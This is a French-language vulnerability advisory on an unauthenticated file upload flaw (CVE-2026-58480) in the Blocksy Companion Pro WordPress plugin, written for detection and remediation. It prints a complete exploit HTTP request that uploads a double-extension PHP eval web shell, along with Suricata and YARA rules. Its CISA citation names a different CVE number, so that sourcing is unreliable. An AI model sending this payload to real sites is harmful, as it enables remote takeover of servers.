CVE-2026-58480 : téléversement arbitraire de fichiers non authentifié dans blocksy companion Pro menant à une RCE
SCORE DE MENACE HERMES & COMPROMISSION DU CMS D'ENTREPRISE
Cible :Extension WordPress Blocksy Companion Pro Le CVSS v3.1 attribue à la CVE-2026-58480 un score critique de 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) et le CVSS v4.0 un score de 9.2 Critique (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H). Le score de menace Hermes s'établit à 97 (CRITIQUE), motivé par la capacité d'écriture arbitraire de fichiers sans authentification menant immédiatement au dépôt d'un web shell PHP.
CVE-2026-58480: Blocksy Companion Pro Unauthenticated Arbitrary File Upload Remote Code ExecutionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Blocksy Companion Pro documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »Blocksy Companion est déployé sur plusieurs centaines de milliers de sites WordPress pour enrichir le thème Blocksy avec des en-têtes dynamiques, la mise en cache de polices locales et des avis enrichis.
| Paramètre | Spécification Technique | Contexte Threat Intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-58480 | Alertes officielles NVD, Wordfence et Patchstack |
| Faiblesse CWE | CWE-434 (Unrestricted File Upload) | Validation par sous-chaîne erronée sur les noms de fichiers |
| Vecteur réseau | HTTP/HTTPS (80/TCP, 443/TCP) | Requête AJAX non authentifiée sur /wp-admin/admin-ajax.php |
| Composant vulnérable | Fonction save_attachments | Contrôleurs de téléversement de médias |
| Versions affectées | <= 2.1.46 | Versions gratuites et Pro de Blocksy Companion |
| Versions corrigées | 2.1.47 | Correctif officiel de sécurité |
2. Analyse approfondie du mécanisme de vulnérabilité
Section intitulée « 2. Analyse approfondie du mécanisme de vulnérabilité »Défaillance de validation par sous-chaîne
Section intitulée « Défaillance de validation par sous-chaîne »L’origine de la faille réside dans le filtrage des extensions autorisées :
// Extrait vulnérable dans Blocksy Companion <= 2.1.46public function save_attachments( $files ) { $allowed_extensions = ['woff', 'woff2', 'ttf', 'jpg', 'png']; foreach ( $files as $file ) { $filename = sanitize_file_name( $file['name'] ); $valid = false;
// FAILLE : strpos() autorise les doubles extensions ! foreach ( $allowed_extensions as $ext ) { if ( strpos( $filename, '.' . $ext ) !== false ) { $valid = true; break; } }
if ( ! $valid ) { continue; }
$upload_dir = wp_upload_dir(); move_uploaded_file( $file['tmp_name'], $upload_dir['path'] . '/' . $filename ); }}Étant donné que strpos($filename, '.woff2') !== false renvoie true pour shell.woff2.php, le fichier est déplacé directement dans le répertoire public wp-content/uploads/ sans altérer son extension d’exécution.
3. Déroulement de l’attaque & déploiement de web shell
Section intitulée « 3. Déroulement de l’attaque & déploiement de web shell »L’attaquant transmet une requête multipart non authentifiée vers l’interface AJAX :
POST /wp-admin/admin-ajax.php HTTP/1.1Host: cible.example.comContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryX
------WebKitFormBoundaryXContent-Disposition: form-data; name="action"
blocksy_save_review_attachments------WebKitFormBoundaryXContent-Disposition: form-data; name="attachments[]"; filename="payload.woff2.php"Content-Type: font/woff2
<?php @eval($_POST['cmd']); ?>------WebKitFormBoundaryX--Le script malveillant devient instantanément exécutable à l’adresse :
https://cible.example.com/wp-content/uploads/2026/09/payload.woff2.php4. Règles de détection & détection forensique
Section intitulée « 4. Règles de détection & détection forensique »Règle réseau Suricata
Section intitulée « Règle réseau Suricata »alert http any any -> $HTTP_SERVERS any ( msg:"HERMES EXPLOIT - Téléversement arbitraire Blocksy Companion (CVE-2026-58480)"; flow:to_server,established; http.uri; content:"admin-ajax.php"; http.request_body; content:"filename="; pcre:"/filename="[^"]+\.(woff|woff2|ttf|jpg|png)\.php"/Ui"; classtype:web-application-attack; sid:202658480; rev:1;)Règle YARA de détection forensique
Section intitulée « Règle YARA de détection forensique »rule Blocksy_Companion_Exploit_Artifact { meta: description = "Détecte les web shells téléversés via la CVE-2026-58480 de Blocksy Companion" author = "Hermes Codex Threat Research" date = "2026-09-12" reference = "CVE-2026-58480" strings: $php_tag = "<?php" $eval = /eval\s*\(\s*\$_(POST|GET|REQUEST)/ condition: uint32(0) == 0x68703f3c and $eval}5. Guide de remédiation & durcissement
Section intitulée « 5. Guide de remédiation & durcissement »-
Mise à jour de l’extension blocksy companion : Mettre à jour immédiatement vers la version 2.1.47 ou supérieure :
Fenêtre de terminal wp plugin update blocksy-companion -
Assainissement des répertoires de téléversement : Inspecter
wp-content/uploads/à la recherche de scripts PHP résiduels :Fenêtre de terminal find wp-content/uploads/ -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \) -
Désactivation de l’exécution PHP dans les répertoires d’upload : Configurer le serveur HTTP pour interdire l’interprétation PHP dans
wp-content/uploads/.